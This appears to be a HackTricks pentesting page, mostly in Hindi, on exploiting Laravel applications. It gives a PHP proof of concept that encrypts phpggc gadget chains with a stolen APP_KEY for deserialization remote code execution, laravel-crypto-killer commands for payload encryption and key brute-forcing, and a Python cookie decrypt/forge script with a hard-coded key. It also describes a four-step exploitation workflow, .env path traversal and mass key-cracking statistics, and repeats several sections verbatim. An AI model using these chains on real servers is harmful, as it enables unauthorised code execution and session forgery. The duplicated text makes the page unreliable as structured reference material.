Laravel

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Laravel SQLInjection

इस बारे में जानकारी पढ़ें: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Encryption internals (Laravel \u003e=5.6)

Laravel AES-256-CBC (या GCM) का उपयोग करता है जिसमें HMAC अखंडता होती है (Illuminate\\Encryption\\Encrypter)। कच्चा ciphertext जो अंततः क्लाइंट को भेजा जाता है वह Base64 का एक JSON ऑब्जेक्ट होता है जैसे:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) डिफ़ॉल्ट रूप से plaintext को serialize() करेगा, जबकि decrypt($payload, $unserialize=true) स्वतः unserialize() करेगा decrypted value को। इसलिए कोई भी हमलावर जो 32-बाइट गुप्त APP_KEY को जानता है, एक encrypted PHP serialized object तैयार कर सकता है और जादुई विधियों (__wakeup, __destruct, …) के माध्यम से RCE प्राप्त कर सकता है।

Minimal PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

उत्पन्न स्ट्रिंग को किसी भी कमजोर decrypt() सिंक (रूट पैरामीटर, कुकी, सत्र, ...) में इंजेक्ट करें।


laravel-crypto-killer 🧨

laravel-crypto-killer पूरे प्रक्रिया को स्वचालित करता है और एक सुविधाजनक bruteforce मोड जोड़ता है:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.


वास्तविक दुनिया के कमजोर पैटर्न

प्रोजेक्टकमजोर सिंगगैजेट श्रृंखला
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN कुकी जब Passport::withCookieSerialization() सक्षम हैLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session कुकीLaravel/RCE15

शोषण कार्यप्रवाह हमेशा होता है:

  1. APP_KEY प्राप्त करें (डिफ़ॉल्ट उदाहरण, Git लीक, config/.env लीक, या ब्रूट-फोर्स)
  2. PHPGGC के साथ गैजेट उत्पन्न करें
  3. laravel_crypto_killer.py encrypt …
  4. कमजोर पैरामीटर/कुकी के माध्यम से पेलोड वितरित करें → RCE

कुकी ब्रूट-फोर्स के माध्यम से मास APP_KEY खोज

क्योंकि हर ताजा Laravel प्रतिक्रिया कम से कम 1 एन्क्रिप्टेड कुकी सेट करती है (XSRF-TOKEN और आमतौर पर laravel_session), सार्वजनिक इंटरनेट स्कैनर (Shodan, Censys, …) लाखों ciphertexts लीक करते हैं जिन्हें ऑफ़लाइन हमला किया जा सकता है।

Synacktiv द्वारा प्रकाशित शोध के प्रमुख निष्कर्ष (2024-2025):

  • डेटा सेट जुलाई 2024 » 580 k टोकन, 3.99 % कुंजी क्रैक की गई (≈23 k)
  • डेटा सेट मई 2025 » 625 k टोकन, 3.56 % कुंजी क्रैक की गई
  • 1 000 सर्वर अभी भी पुराने CVE-2018-15133 के प्रति संवेदनशील हैं क्योंकि टोकन सीधे क्रमबद्ध डेटा को शामिल करते हैं।

  • विशाल कुंजी पुन: उपयोग – शीर्ष-10 APP_KEYs हार्ड-कोडेड डिफ़ॉल्ट हैं जो व्यावसायिक Laravel टेम्पलेट्स (UltimatePOS, Invoice Ninja, XPanel, …) के साथ भेजे जाते हैं।

निजी Go टूल nounours AES-CBC/GCM ब्रूटफोर्स थ्रूपुट को ~1.5 बिलियन प्रयास/सेकंड तक बढ़ाता है, पूर्ण डेटा सेट क्रैकिंग को <2 मिनट तक कम करता है।


संदर्भ

Laravel Tricks

डिबगिंग मोड

यदि Laravel डिबगिंग मोड में है तो आप कोड और संवेदनशील डेटा तक पहुँच सकते हैं।
उदाहरण के लिए http://127.0.0.1:8000/profiles:

यह आमतौर पर अन्य Laravel RCE CVEs का शोषण करने के लिए आवश्यक होता है।

.env

Laravel उस APP को एक फ़ाइल में सहेजता है जिसका उपयोग वह कुकीज़ और अन्य क्रेडेंशियल्स को एन्क्रिप्ट करने के लिए करता है जिसे .env कहा जाता है जिसे कुछ पथ यात्रा के तहत एक्सेस किया जा सकता है: /../.env

Laravel इस जानकारी को डिबग पृष्ठ के अंदर भी दिखाएगा (जो तब प्रकट होता है जब Laravel एक त्रुटि पाता है और यह सक्रिय होता है)।

Laravel के गुप्त APP_KEY का उपयोग करके आप कुकीज़ को डिक्रिप्ट और फिर से एन्क्रिप्ट कर सकते हैं:

कुकी डिक्रिप्ट करें

python
import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')

Laravel Deserialization RCE

संवेदनशील संस्करण: 5.5.40 और 5.6.x से 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

यहाँ आप deserialization सुरक्षा कमजोरी के बारे में जानकारी पा सकते हैं: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

आप इसे https://github.com/kozmic/laravel-poc-CVE-2018-15133 का उपयोग करके परीक्षण और शोषण कर सकते हैं
या आप इसे metasploit के साथ भी शोषण कर सकते हैं: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

एक और deserialization: https://github.com/ambionics/laravel-exploits

Laravel SQLInjection

इस बारे में जानकारी पढ़ें: https://stitcher.io/blog/unsafe-sql-functions-in-laravel

Laravel SQLInjection

इस बारे में जानकारी पढ़ें: https://stitcher.io/blog/unsafe-sql-functions-in-laravel


APP_KEY & Encryption internals (Laravel \u003e=5.6)

Laravel AES-256-CBC (या GCM) का उपयोग करता है जिसमें HMAC अखंडता होती है (Illuminate\\Encryption\\Encrypter)। कच्चा ciphertext जो अंततः क्लाइंट को भेजा जाता है वह Base64 का एक JSON ऑब्जेक्ट होता है जैसे:

json
{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) डिफ़ॉल्ट रूप से plaintext को serialize() करेगा, जबकि decrypt($payload, $unserialize=true) स्वतः unserialize() decrypted value करेगा। इसलिए कोई भी हमलावर जो 32-बाइट गुप्त APP_KEY को जानता है, एक encrypted PHP serialized object तैयार कर सकता है और जादुई विधियों (__wakeup, __destruct, …) के माध्यम से RCE प्राप्त कर सकता है।

Minimal PoC (framework ≥9.x):

php
use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

उत्पन्न स्ट्रिंग को किसी भी कमजोर decrypt() सिंक (रूट पैरामीटर, कुकी, सत्र, ...) में इंजेक्ट करें।


laravel-crypto-killer 🧨

laravel-crypto-killer पूरे प्रक्रिया को स्वचालित करता है और एक सुविधाजनक bruteforce मोड जोड़ता है:

bash
# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

The script transparently supports both CBC and GCM payloads and re-generates the HMAC/tag field.


वास्तविक दुनिया के कमजोर पैटर्न

प्रोजेक्टकमजोर सिंगगैजेट श्रृंखला
Invoice Ninja ≤v5 (CVE-2024-55555)/route/{hash}decrypt($hash)Laravel/RCE13
Snipe-IT ≤v6 (CVE-2024-48987)XSRF-TOKEN कुकी जब Passport::withCookieSerialization() सक्षम हैLaravel/RCE9
Crater (CVE-2024-55556)SESSION_DRIVER=cookielaravel_session कुकीLaravel/RCE15

शोषण कार्यप्रवाह हमेशा होता है:

  1. APP_KEY प्राप्त करें (डिफ़ॉल्ट उदाहरण, Git लीक, config/.env लीक, या ब्रूट-फोर्स)
  2. PHPGGC के साथ गैजेट उत्पन्न करें
  3. laravel_crypto_killer.py encrypt …
  4. कमजोर पैरामीटर/कुकी के माध्यम से पेलोड वितरित करें → RCE

कुकी ब्रूट-फोर्स के माध्यम से मास APP_KEY खोज

क्योंकि हर ताजा Laravel प्रतिक्रिया कम से कम 1 एन्क्रिप्टेड कुकी सेट करती है (XSRF-TOKEN और आमतौर पर laravel_session), सार्वजनिक इंटरनेट स्कैनर (Shodan, Censys, …) लाखों ciphertexts लीक करते हैं जिन्हें ऑफ़लाइन हमला किया जा सकता है।

Synacktiv द्वारा प्रकाशित शोध के प्रमुख निष्कर्ष (2024-2025):

  • डेटा सेट जुलाई 2024 » 580 k टोकन, 3.99 % कुंजी क्रैक की गई (≈23 k)
  • डेटा सेट मई 2025 » 625 k टोकन, 3.56 % कुंजी क्रैक की गई
  • 1 000 सर्वर अभी भी पुराने CVE-2018-15133 के प्रति संवेदनशील हैं क्योंकि टोकन सीधे सीरियलाइज्ड डेटा को शामिल करते हैं।

  • विशाल कुंजी पुन: उपयोग – शीर्ष-10 APP_KEYs हार्ड-कोडेड डिफ़ॉल्ट हैं जो व्यावसायिक Laravel टेम्पलेट्स (UltimatePOS, Invoice Ninja, XPanel, …) के साथ भेजे जाते हैं।

निजी Go टूल nounours AES-CBC/GCM ब्रूटफोर्स थ्रूपुट को ~1.5 बिलियन प्रयास/सेकंड तक बढ़ाता है, पूर्ण डेटा सेट क्रैकिंग को <2 मिनट तक कम करता है।


संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें